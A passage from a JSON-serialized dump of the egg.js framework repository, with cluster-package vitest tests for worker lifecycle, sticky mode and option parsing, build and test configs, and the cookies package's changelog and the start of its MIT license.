app.close());\n\n    beforeAll(() => {\n      app = cluster('apps/egg-ready', {\n        workers: 1,\n        opt: { execArgv: [`--${debugProtocol}`] },\n      });\n      // app.debug();\n      setTimeout(() => {\n        app.proc.on('message', (msg: any) => {\n          if (msg.to === 'parent' && msg.action === 'debug' && msg.from === 'app') {\n            workerPid = msg.data.pid;\n          }\n          if (msg.action === 'egg-ready') {\n            process.kill(workerPid, 'SIGKILL');\n          }\n        });\n      }, 1);\n      return app.ready();\n    });\n\n    it('should not log error', async () => {\n      // work for message sent\n      await scheduler.wait(6000);\n      app.expect('stderr', /\\[master] app_worker#.*signal: SIGKILL/);\n      app.expect('stderr', /\\[master] worker kill by debugger, exiting/);\n      app.expect('stdout', /\\[master] exit with code:0/);\n      app.notExpect('stderr', /AppWorkerDiedError/);\n    });\n  });\n});\n\ndescribe.skipIf(process.platform !== 'linux')('--sticky', () => {\n  beforeAll(async () => {\n    app = cluster('apps/cluster_mod_sticky', {\n      sticky: true,\n      port: 17010,\n    } as any);\n    app.debug();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  it('should online sticky cluster mode startup success', async () => {\n    app.expect('stdout', /app_worker#\\d:\\d+ started at (?!9500)/);\n    app.expect('stdout', /egg started on http:\\/\\/127.0.0.1:17010/);\n    await request('http://127.0.0.1:17010').get('/portal/i.htm').expect('hi cluster').expect(200);\n  });\n});\n\ndescribe.skip('agent and worker exception', () => {\n  it('should not exit when local env', async () => {\n    mm.env('local');\n    app = cluster('apps/check-status');\n    // app.debug();\n    await app.ready();\n    fs.writeFileSync(path.join(app.baseDir, 'logs/started'), '');\n\n    await scheduler.wait(5000);\n\n    // process should exist\n    assert.equal(app.process.exitCode, null);\n    app.process.kill('SIGINT');\n  });\n\n  it.skip('should exit when no agent after check 3 times', async () => {\n    mm.env('prod');\n    app = cluster('apps/check-status');\n    // app.debug();\n    await app.ready();\n    fs.mkdirSync(path.join(app.baseDir, 'logs'), { recursive: true });\n    fs.writeFileSync(path.join(app.baseDir, 'logs/started'), '');\n\n    // kill agent worker and will exit when start\n    app.process.send({ to: 'agent', action: 'kill' });\n\n    await once(app.proc, 'exit');\n\n    assert(\n      app.stderr.includes(\n        'nodejs.ClusterWorkerExceptionError: [master] 0 agent and 1 worker(s) alive, exit to avoid unknown state',\n      ),\n    );\n    assert(app.stderr.includes('[master] exit with code:1'));\n  });\n\n  it.skip('should exit when no app after check 3 times', async () => {\n    mm.env('prod');\n    app = cluster('apps/check-status');\n    // app.debug();\n    await app.ready();\n    fs.mkdirSync(path.join(app.baseDir, 'logs'), { recursive: true });\n    fs.writeFileSync(path.join(app.baseDir, 'logs/started'), '');\n\n    // kill app worker and wait checking\n    app.process.send({ to: 'app', action: 'kill' });\n\n    await once(app.proc, 'exit');\n\n    assert(\n      app.stderr.includes(\n        'nodejs.ClusterWorkerExceptionError: [master] 1 agent and 0 worker(s) alive, exit to avoid unknown state',\n      ),\n    );\n    assert(app.stderr.includes('[master] exit with code:1'));\n  });\n});\n\ndescribe.skipIf(process.platform === 'win32')('beforeClose', () => {\n  it('should wait app close', async () => {\n    mm.env('local');\n    app = cluster('apps/before-close');\n    // app.debug();\n    await app.ready();\n\n    await app.close();\n    await scheduler.wait(5000);\n\n    app.expect('stdout', /app closing/);\n    app.expect('stdout', /app closed/);\n    app.expect('stdout', /agent closing/);\n    app.expect('stdout', /agent closed/);\n  });\n});\n\ndescribe.skip('--require', () => {\n  describe('one', () => {\n    beforeAll(() => {\n      app = cluster('apps/options-require', {\n        require: getFilepath('apps/options-require/inject.js'),\n      } as any);\n      // app.debug();\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should inject', () => {\n      app.expect('stdout', /### inject application/);\n      app.expect('stdout', /### inject agent/);\n    });\n  });\n\n  describe('array', () => {\n    beforeAll(() => {\n      app = cluster('apps/options-require', {\n        require: [getFilepath('apps/options-require/inject.js'), 'ts-node/register'],\n      } as any);\n      // app.debug();\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should inject', () => {\n      app.expect('stdout', /### inject application/);\n      app.expect('stdout', /### inject agent/);\n      app.expect('stdout', /### inject ts-node\\/register at app/);\n      app.expect('stdout', /### inject ts-node\\/register at agent/);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/cluster/test/master/start-master.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { cluster } from '../utils.ts';\n\nlet app: MockApplication;\n\nafterEach(mm.restore);\n\ndescribe('start master', () => {\n  afterEach(() => app && app.close());\n\n  it.skip('start success in local env', async () => {\n    mm.env('local');\n    app = cluster('apps/master-worker-started');\n    await app.ready();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .notExpect('stdout', /\\[master\\] agent_worker#1:\\d+ start with clusterPort:\\d+/)\n      .expect('code', 0)\n      .end();\n  });\n\n  it.skip('start success in prod env', async () => {\n    mm.env('prod');\n    app = cluster('apps/mock-production-app').debug(false);\n    await app.ready();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started/)\n      .expect('code', 0)\n      .end((err: unknown) => {\n        assert.ifError(err);\n        console.log(app.stdout);\n        console.log(app.stderr);\n      });\n  });\n\n  it.skip('should print process.on.HOST while egg started', async () => {\n    mm.env('prod');\n    mm(process.env, 'HOST', 'xxx.com');\n    app = cluster('apps/mock-production-app').debug(false);\n    await app.ready();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started on http:\\/\\/xxx\\.com:/)\n      .expect('code', 0)\n      .end((err: unknown) => {\n        assert.ifError(err);\n        console.log(app.stdout);\n        console.log(app.stderr);\n      });\n  });\n\n  it.skip('should not print process.on.HOST if it equals 0.0.0.0', async () => {\n    mm.env('prod');\n    mm(process.env, 'HOST', '0.0.0.0');\n    app = cluster('apps/mock-production-app').debug(false);\n    await app.ready();\n\n    await app\n      .expect('stdout', /egg start/)\n      .expect('stdout', /egg started on http:\\/\\/127\\.0\\.0\\.1:/)\n      .expect('code', 0)\n      .end((err: unknown) => {\n        assert.ifError(err);\n        console.log(app.stdout);\n        console.log(app.stderr);\n      });\n  });\n});\n"
  },
  {
    "path": "packages/cluster/test/options.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport os from 'node:os';\nimport path from 'node:path';\n\nimport { mm } from '@eggjs/mock';\nimport { importResolve } from '@eggjs/utils';\nimport { describe, it, afterEach, beforeAll, afterAll } from 'vitest';\n\nimport { parseOptions } from '../src/utils/options.ts';\nimport { getFilepath, cluster } from './utils.ts';\n\nconst __dirname = import.meta.dirname;\n\ndescribe('test/options.test.ts', () => {\n  afterEach(mm.restore);\n\n  it('should return undefined by port as default', async () => {\n    let options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n    });\n    assert.equal(options.port, undefined);\n  });\n\n  it('should start with https and listen 8443', async () => {\n    const options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n      https: {\n        key: getFilepath('server.key'),\n        cert: getFilepath('server.cert'),\n      },\n    });\n    assert.equal(options.port, 8443);\n    assert.equal(typeof options.https, 'object');\n    assert(options.https instanceof Object);\n    assert.equal(typeof options.https.key, 'string');\n    assert(options.https.cert);\n  });\n\n  it('should start with httpsOptions and listen 8443', async () => {\n    const options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n      https: {\n        passphrase: '123456',\n        key: getFilepath('server.key'),\n        cert: getFilepath('server.cert'),\n        ca: getFilepath('server.ca'),\n      },\n    });\n    assert.equal(options.port, 8443);\n    assert(options.https instanceof Object);\n    assert(options.https.key);\n    assert(options.https.cert);\n    assert(options.https.ca);\n    assert(options.https.passphrase);\n  });\n\n  it('should listen custom port 6001', async () => {\n    const options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n      port: '6001',\n    });\n    assert.equal(options.port, 6001);\n  });\n\n  it('should set NO_DEPRECATION on production env', async () => {\n    mm(process.env, 'NODE_ENV', 'production');\n    let options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n      workers: 1,\n    });\n    assert.equal(options.workers, 1);\n    options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n      workers: '101',\n    });\n    assert.equal(options.workers, 101);\n    assert.equal(process.env.NO_DEPRECATION, '*');\n  });\n\n  it('should not extend when port is null/undefined', async () => {\n    let options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n      port: null,\n    });\n    assert.equal(options.port, undefined);\n    options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n      port: undefined,\n    });\n    assert.equal(options.port, undefined);\n    options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n    });\n    assert.equal(options.port, undefined);\n  });\n\n  it('should not call os.cpus when specify workers', async () => {\n    mm.syncError(os, 'cpus', 'should not call os.cpus');\n    const options = await parseOptions({\n      baseDir: path.join(__dirname, '..'),\n      workers: 1,\n    });\n    assert.equal(options.workers, 1);\n  });\n\n  describe('debug', () => {\n    it('empty', async () => {\n      mm(process, 'execArgv', []);\n      const options = await parseOptions({\n        baseDir: path.join(__dirname, '..'),\n      });\n      assert(options.isDebug === undefined);\n    });\n    it('--inspect', async () => {\n      mm(process, 'execArgv', ['--inspect=9229']);\n      const options = await parseOptions({\n        baseDir: path.join(__dirname, '..'),\n      });\n      assert(options.isDebug === true);\n    });\n    it('--debug', async () => {\n      mm(process, 'execArgv', ['--debug=5858']);\n      const options = await parseOptions({\n        baseDir: path.join(__dirname, '..'),\n      });\n      assert(options.isDebug === true);\n    });\n  });\n\n  describe('env', () => {\n    it('default env is undefined', async () => {\n      const options = await parseOptions({\n        baseDir: path.join(__dirname, '..'),\n      });\n      assert.equal(options.env, undefined);\n    });\n\n    it('custom env = prod', async () => {\n      const options = await parseOptions({\n        env: 'prod',\n        baseDir: path.join(__dirname, '..'),\n      });\n      assert.equal(options.env, 'prod');\n    });\n\n    it('default env set to process.env.EGG_SERVER_ENV', async () => {\n      mm(process.env, 'EGG_SERVER_ENV', 'prod');\n      const options = await parseOptions({\n        baseDir: path.join(__dirname, '..'),\n      });\n      assert.equal(options.env, 'prod');\n    });\n  });\n\n  // TODO: flaky test on windows, Hook timed out in 20000ms\n  describe.skipIf(process.platform === 'win32')('options', () => {\n    let app: any;\n    beforeAll(async () => {\n      app = cluster('apps/options', {\n        foo: true,\n      } as any).debug();\n      await app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should be passed through', () => {\n      app.expect('stdout', /app options foo: true/);\n      app.expect('stdout', /agent options foo: true/);\n    });\n  });\n\n  describe('framework', () => {\n    it('should get from absolute path', async () => {\n      let eggMockPackagePath = path.join(__dirname, '../../../plugins/mock');\n      const frameworkPath = path.dirname(importResolve('egg', { paths: [eggMockPackagePath] }));\n      const options = await parseOptions({\n        framework: frameworkPath,\n      });\n      assert.equal(options.framework, frameworkPath);\n    });\n\n    it('should get from absolute path but not exist', async () => {\n      const frameworkPath = path.join(__dirname, 'noexist');\n      try {\n        await parseOptions({\n          framework: frameworkPath,\n        });\n        throw new Error('should not run');\n      } catch (err: any) {\n        assert.equal(err.message, `${frameworkPath} should exist`);\n      }\n    });\n\n    it.skip('should get from npm package', async () => {\n      const frameworkPath = path.join(process.cwd(), 'node_modules/egg');\n      const options = await parseOptions({\n        framework: 'egg',\n      });\n      assert.equal(options.framework, frameworkPath);\n    });\n\n    it('should get from npm package but not exist', async () => {\n      try {\n        await parseOptions({\n          framework: 'noexist',\n        });\n        throw new Error('should not run');\n      } catch (err: any) {\n        const frameworkPath = path.join(process.cwd(), 'node_modules');\n        assert.equal(err.message, `noexist is not found in ${frameworkPath}`);\n      }\n    });\n\n    // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n    it.skipIf(process.version.startsWith('v20.'))('should get from pkg.egg.framework', async () => {\n      const baseDir = path.join(__dirname, 'fixtures/apps/framework-pkg-egg');\n      const options = await parseOptions({\n        baseDir,\n      });\n      assert.equal(options.framework, path.join(baseDir, 'node_modules/yadan'));\n    });\n\n    it('should get from pkg.egg.framework but not exist', async () => {\n      const baseDir = path.join(__dirname, 'fixtures/apps/framework-pkg-egg-noexist');\n      try {\n        await parseOptions({\n          baseDir,\n        });\n        throw new Error('should not run');\n      } catch (err: any) {\n        const frameworkPaths = [path.join(baseDir, 'node_modules'), path.join(process.cwd(), 'node_modules')].join(',');\n        assert.equal(err.message, `noexist is not found in ${frameworkPaths}`);\n      }\n    });\n\n    it('should get egg by default', async () => {\n      const baseDir = path.join(__dirname, 'fixtures/apps/framework-egg-default');\n      const options = await parseOptions({\n        baseDir,\n      });\n      const expectPaths = [\n        // run int workspace root\n        path.join(__dirname, '../../egg'),\n        // run in project root\n        path.join(__dirname, '../node_modules/egg'),\n      ];\n      assert(\n        expectPaths.includes(options.framework),\n        `should get egg at ${expectPaths.join(', ')}, but got ${options.framework}`,\n      );\n    });\n  });\n\n  // it('should exist when specify baseDir', () => {\n  //   it('should get egg by default but not exist', () => {\n  //     const baseDir = path.join(__dirname, 'noexist');\n  //     try {\n  //       parseOptions({\n  //         baseDir,\n  //       });\n  //       throw new Error('should not run');\n  //     } catch (err) {\n  //       assert(err.message === `${path.join(baseDir, 'package.json')} should exist`);\n  //     }\n  //   });\n  // });\n});\n"
  },
  {
    "path": "packages/cluster/test/utils.ts",
    "content": "import path from 'node:path';\n\nimport { mm, type MockClusterOptions } from '@eggjs/mock';\n\nexport function cluster(baseDir: string, options: MockClusterOptions = {}): ReturnType<typeof mm.cluster> {\n  return mm.cluster({\n    baseDir: getFilepath(baseDir),\n    framework: path.join(import.meta.dirname, '../../egg'),\n    cache: false,\n    opt: {\n      // clear execArgv from egg-bin\n      execArgv: [],\n    },\n    // override @eggjs/mock default port 17001\n    ...options,\n  });\n}\n\nexport function getFilepath(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "packages/cluster/test/worker_threads.test.ts",
    "content": "import { type MockApplication } from '@eggjs/mock';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { cluster } from './utils.ts';\n\ndescribe('test/worker_threads.test.ts', () => {\n  let app: MockApplication;\n\n  describe('Fork Agent', () => {\n    afterEach(() => app && app.close());\n\n    // FIXME: nodejs.SyntaxError: Invalid or unexpected token, --import=tsx/esm is not supported on worker_threads mode\n    it.skip('support config agent debug port', async () => {\n      app = cluster('apps/agent-worker-threads', {\n        startMode: 'worker_threads',\n      });\n      app.debug();\n      return app.expect('stdout', /workerId: \\d+/).end();\n    });\n\n    it('should exit when emit error during agent worker boot', () => {\n      app = cluster('apps/agent-worker-threads-error');\n      app.debug();\n      return app\n        .debug()\n        .expect('code', 1)\n        .expect('stderr', /worker_threads mock error/)\n        .expect('stderr', /\\[agent_worker\\] start error, exiting with code:1/)\n        .expect('stderr', /\\[master\\] exit with code:1/)\n        .end();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/cluster/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/cluster/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n    agent_worker: 'src/agent_worker.ts',\n    app_worker: 'src/app_worker.ts',\n  },\n});\n"
  },
  {
    "path": "packages/cluster/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    include: ['test/**/*.test.ts'],\n    exclude: ['test/fixtures/**', '**/node_modules/**', '**/dist/**'],\n    testTimeout: 25000,\n    hookTimeout: 25000,\n  },\n});\n"
  },
  {
    "path": "packages/cookies/.gitignore",
    "content": "node_modules\ncoverage\ntest/ts/report\npackage-lock.json\n.tshy*\n.eslintcache\ndist\n"
  },
  {
    "path": "packages/cookies/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [3.1.0](https://github.com/eggjs/egg-cookies/compare/v3.0.1...v3.1.0) (2024-12-26)\n\n\n### Features\n\n* support ignoring secure error ([#58](https://github.com/eggjs/egg-cookies/issues/58)) ([38f98d1](https://github.com/eggjs/egg-cookies/commit/38f98d12922571f6195121500002bd8d2da4be50))\n\n## [3.0.1](https://github.com/eggjs/egg-cookies/compare/v3.0.0...v3.0.1) (2024-07-06)\n\n\n### Bug Fixes\n\n* partitioned and autoChips should support different paths ([#55](https://github.com/eggjs/egg-cookies/issues/55)) ([50b1313](https://github.com/eggjs/egg-cookies/commit/50b1313172d1180569c556f3ab05448ab3bb3100))\n\n## [3.0.0](https://github.com/eggjs/egg-cookies/compare/v2.10.0...v3.0.0) (2024-06-23)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\n- **New Features**\n- Introduced comprehensive support for TypeScript in project\nconfigurations.\n- Added new cookie management functionalities, including setting,\nencryption, and validation.\n  - Added support for `Keygrip` class for cryptographic operations.\n\n- **Documentation**\n- Updated package name in README files from `egg-cookies` to\n`@eggjs/cookies`.\n- Adjusted code snippets and URLs in documentation to reflect the new\npackage name.\n\n- **Tests**\n- Enhanced test suite with additional test cases for cookie encryption,\ncaching, and error handling.\n  - Added new test files for `Keygrip` and cookie functionalities.\n  \n- **Chores**\n  - Updated `.gitignore` to include new patterns for ignoring files.\n- Improved CI workflow with updated Node.js versions and Codecov token\nintegration.\n- Updated dependencies and scripts in `package.json` to align with the\nnew package structure and TypeScript support.\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#54](https://github.com/eggjs/egg-cookies/issues/54)) ([12db545](https://github.com/eggjs/egg-cookies/commit/12db545f887940560f49f792035dbf63d6ceb497))\n\n## [2.10.0](https://github.com/eggjs/egg-cookies/compare/v2.9.4...v2.10.0) (2024-02-19)\n\n\n### Features\n\n* support priority ([#52](https://github.com/eggjs/egg-cookies/issues/52)) ([f9f1214](https://github.com/eggjs/egg-cookies/commit/f9f12149637d37df8e6cecd9cb50d8c27421c7d0))\n\n## [2.9.4](https://github.com/eggjs/egg-cookies/compare/v2.9.3...v2.9.4) (2024-01-05)\n\n\n### Bug Fixes\n\n* disable autoChips if set cookie with partitioned ([#51](https://github.com/eggjs/egg-cookies/issues/51)) ([148c61c](https://github.com/eggjs/egg-cookies/commit/148c61c3be41d90c44c3db8bfe870cae31d586ad))\n\n## [2.9.3](https://github.com/eggjs/egg-cookies/compare/v2.9.2...v2.9.3) (2024-01-04)\n\n\n### Reverts\n\n* Revert \"fix: only enable autoChips on cross-site request (#49)\" (#50) ([b0452dd](https://github.com/eggjs/egg-cookies/commit/b0452dd0011a7ed5cc8fd489a2fbb6fa5c076ac2)), closes [#49](https://github.com/eggjs/egg-cookies/issues/49) [#50](https://github.com/eggjs/egg-cookies/issues/50)\n\n## [2.9.2](https://github.com/eggjs/egg-cookies/compare/v2.9.1...v2.9.2) (2024-01-04)\n\n\n### Bug Fixes\n\n* only enable autoChips on cross-site request ([#49](https://github.com/eggjs/egg-cookies/issues/49)) ([665a335](https://github.com/eggjs/egg-cookies/commit/665a33574f2c27bda5d59eb8f5e5b70b2ee9ad97))\n\n## [2.9.1](https://github.com/eggjs/egg-cookies/compare/v2.9.0...v2.9.1) (2024-01-03)\n\n\n### Bug Fixes\n\n* use _CHIPS- prefix instead of __Host- ([#48](https://github.com/eggjs/egg-cookies/issues/48)) ([6b5e5be](https://github.com/eggjs/egg-cookies/commit/6b5e5be4f09b692b2867b390a300de8a1e142cbb))\n\n## [2.9.0](https://github.com/eggjs/egg-cookies/compare/v2.8.3...v2.9.0) (2024-01-03)\n\n\n### Features\n\n* add autoChips to adaptation CHIPS mode ([#47](https://github.com/eggjs/egg-cookies/issues/47)) ([38d6408](https://github.com/eggjs/egg-cookies/commit/38d64084b78ad15f816b4e8c46efa3c591c04558))\n\n## [2.8.3](https://github.com/eggjs/egg-cookies/compare/v2.8.2...v2.8.3) (2023-12-28)\n\n\n### Bug Fixes\n\n* should not set sameSite and CHIPS when secure = false ([#45](https://github.com/eggjs/egg-cookies/issues/45)) ([33395bf](https://github.com/eggjs/egg-cookies/commit/33395bfda657fd31b0443dbf0d9cdb3bea697b1b))\n\n## [2.8.2](https://github.com/eggjs/egg-cookies/compare/v2.8.1...v2.8.2) (2023-12-28)\n\n\n### Bug Fixes\n\n* support remove unpartitioned same name cookie first ([#44](https://github.com/eggjs/egg-cookies/issues/44)) ([b81f041](https://github.com/eggjs/egg-cookies/commit/b81f04181e461f2688296e4bd65cad8ac3a8298d))\n\n## [2.8.1](https://github.com/eggjs/egg-cookies/compare/v2.8.0...v2.8.1) (2023-12-27)\n\n\n### Bug Fixes\n\n* add partitioned in index.d.ts ([#43](https://github.com/eggjs/egg-cookies/issues/43)) ([7e01eba](https://github.com/eggjs/egg-cookies/commit/7e01eba444f24bfea810a9b474ff54d182cb80c4))\n\n## [2.8.0](https://github.com/eggjs/egg-cookies/compare/v2.7.1...v2.8.0) (2023-12-26)\n\n\n### Features\n\n* support set partitioned property on Chrome >= 114 ([#42](https://github.com/eggjs/egg-cookies/issues/42)) ([74325b8](https://github.com/eggjs/egg-cookies/commit/74325b89b150ce880dc742f63016f0494fff273a))\n\n## [2.7.1](https://github.com/eggjs/egg-cookies/compare/v2.7.0...v2.7.1) (2023-08-04)\n\n\n### Bug Fixes\n\n* domain can be empty string ([#39](https://github.com/eggjs/egg-cookies/issues/39)) ([0b285e1](https://github.com/eggjs/egg-cookies/commit/0b285e1dc8203dde8670c2459e5f8bbde93a1ef5)), closes [/github.com/eggjs/egg-cookies/pull/38#discussion_r1284672929](https://github.com/eggjs//github.com/eggjs/egg-cookies/pull/38/issues/discussion_r1284672929)\n\n## [2.7.0](https://github.com/eggjs/egg-cookies/compare/v2.6.1...v2.7.0) (2023-08-04)\n\n\n### Features\n\n* support function to set domain ([#38](https://github.com/eggjs/egg-cookies/issues/38)) ([c73b415](https://github.com/eggjs/egg-cookies/commit/c73b415467b9e13363a8a5dd0b5e3c7a72f4adb4))\n\n---\n\n\n2.6.1 / 2022-06-20\n==================\n\n**others**\n  * [[`ebe330e`](http://github.com/eggjs/egg-cookies/commit/ebe330ea461be73e65dd1e2bbd4c9e3eba5e8d89)] - 🐛 FIX: Avoid ReDoS (#36) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.6.0 / 2022-06-20\n==================\n\n**features**\n  * [[`7ed0ded`](http://github.com/eggjs/egg-cookies/commit/7ed0ded5492ebd7a2001407c9a9af638dcfd5307)] - feat: deprecated crypto api (#35) (吖猩 <<whxaxes@gmail.com>>)\n\n2.5.0 / 2022-05-02\n==================\n\n**features**\n  * [[`7377d3b`](http://github.com/eggjs/egg-cookies/commit/7377d3b0a9ee6d137bc07f4742aa499e9ed47d8d)] - feat: add CookieError (#31) (图南 <<xzj15859722542@hotmail.com>>)\n\n**others**\n  * [[`d27be06`](http://github.com/eggjs/egg-cookies/commit/d27be0659889d12af245149b633e7274790a01c4)] - 🤖 TEST: Run on node 18 (#34) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`9e770ee`](http://github.com/eggjs/egg-cookies/commit/9e770ee61a9e6f1ce9b19e8e028f9847c386f3a0)] - Create codeql-analysis.yml (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`eff0195`](http://github.com/eggjs/egg-cookies/commit/eff01956de00a95fab8a3367ade61b5b8a55b76d)] - chore: update build status badge (#33) (XiaoRui <<xiangwu619@gmail.com>>)\n\n2.4.3 / 2022-04-29\n==================\n\n**fixes**\n  * [[`c8c42d3`](http://github.com/eggjs/egg-cookies/commit/c8c42d30b41f7c3f6c2e9231364e4acf47cea221)] - fix: should only update .sig once (#32) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.4.2 / 2020-06-28\n==================\n\n**fixes**\n  * [[`a72fd0c`](http://github.com/eggjs/egg-cookies/commit/a72fd0cd9518ad8cfb3ad7c8ace1eb14097cea7e)] - fix: ignore maxAge = 0 (#29) (Yiyu He <<dead_horse@qq.com>>)\n\n2.4.1 / 2020-06-28\n==================\n\n**fixes**\n  * [[`7a87cc1`](http://github.com/eggjs/egg-cookies/commit/7a87cc16108bc5b542c0fbe91c4e4a6e986573de)] - fix: ignore invalid maxage (#28) (Yiyu He <<dead_horse@qq.com>>)\n\n2.4.0 / 2020-06-22\n==================\n\n**features**\n  * [[`4417dda`](http://github.com/eggjs/egg-cookies/commit/4417ddacecde2dff3792ca10e0bf05fc94a991ee)] - feat: Send `max-age` header as well as `expires` if it is set(#27) (Junyan <<yancoding@gmail.com>>)\n\n2.3.4 / 2020-06-12\n==================\n\n**fixes**\n  * [[`a146191`](http://github.com/eggjs/egg-cookies/commit/a14619139f585da290d693e6dfcf3e29304bc337)] - fix(typings): value of set method should support null type (#21) (Jedmeng <<roy.urey@gmail.com>>)\n\n2.3.3 / 2020-03-27\n==================\n\n**fixes**\n  * [[`b3f86c0`](http://github.com/eggjs/egg-cookies/commit/b3f86c01b19b790f8c06aca143a094ed4fa575bd)] - fix(SameSite): don't send SameSite=None on non-secure context (#26) (Eric Zhang <<hixyeric@gmail.com>>)\n\n2.3.2 / 2020-02-19\n==================\n\n**fixes**\n  * [[`c6e1e74`](http://github.com/eggjs/egg-cookies/commit/c6e1e74e77c53f68e79f0ebd799c755db470badd)] - fix: don't send SameSite=None on Chromium/Chrome < 80.x (#25) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.3.1 / 2019-12-17\n==================\n\n**fixes**\n  * [[`d4f443a`](http://github.com/eggjs/egg-cookies/commit/d4f443a5bf3bfd0ba7bc726b1e8b74a35ba265d6)] - fix: don't set samesite=none on incompatible clients (#23) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.3.0 / 2019-12-06\n==================\n\n**features**\n  * [[`d5e3d21`](http://github.com/eggjs/egg-cookies/commit/d5e3d215b1c51f70d932dba391d7da228a302312)] - feat: support SameSite=None (#18) (ziyunfei <<446240525@qq.com>>)\n  * [[`4dd74d2`](http://github.com/eggjs/egg-cookies/commit/4dd74d2078b5aea11f11b3b40605b702ca9ccd60)] - feat: allow set default cookie options on top level (#22) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`57a005f`](http://github.com/eggjs/egg-cookies/commit/57a005fd501dad5fdadc25ea94db5474fbd6ca8c)] - chore: add license decoration (#20) (刘放 <<brizer@users.noreply.github.com>>)\n\n2.2.7 / 2019-04-28\n==================\n\n**fixes**\n  * [[`64e93e9`](http://github.com/eggjs/egg-cookies/commit/64e93e919558ee96e29de5c49d7132595e96b9b5)] - fix: empty cookie value should ignore maxAge (#17) (fengmk2 <<fengmk2@gmail.com>>)\n\n2.2.6 / 2018-09-07\n==================\n\n  * fix: should still support 4, 6 (#16)\n\n2.2.5 / 2018-09-07\n==================\n\n  * chore(typings): Remove 'ctx' in EggCookie's declaration and add a missing unit test (#15)\n\n2.2.4 / 2018-09-06\n==================\n\n  * fix: public files && deps (#14)\n\n2.2.3 / 2018-09-06\n==================\n\n  * chore: adjust some dep && config (#13)\n  * test: Add unit tests for ts (#12)\n  * chore(typings):  Extract 'EggCookies' for TypeScript intellisense (#11)\n\n2.2.2 / 2017-12-14\n==================\n\n**fixes**\n  * [[`d199238`](http://github.com/eggjs/egg-cookies/commit/d1992389558c24f26fbd6b617054c535e2c51319)] - fix: don't modify options (#9) (Roc Gao <<ggjqzjgp103@qq.com>>)\n\n**others**\n  * [[`1037873`](http://github.com/eggjs/egg-cookies/commit/103787342f9b45bcc794ec2adeda5e809af3328b)] - chore: jsdoc typo (#6) (TZ | 天猪 <<atian25@qq.com>>)\n\n2.2.1 / 2017-02-22\n==================\n\n  * fix: emit on ctx.app (#5)\n\n2.2.0 / 2017-02-21\n==================\n\n  * feat: check cookie value's length (#4)\n  * feat: support cookie.sameSite (#3)\n\n2.1.0 / 2016-11-22\n==================\n\n  * feat: cache keygrip (#2)\n\n2.0.0 / 2016-11-22\n==================\n\n  * refactor: rewrite keygrip and cookies for egg/koa (#1)\n  * chore: add zh-CN readme\n\n1.0.0 / 2016-07-15\n==================\n\n  * init version\n"
  },
  {
    "path": "packages/cookies/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 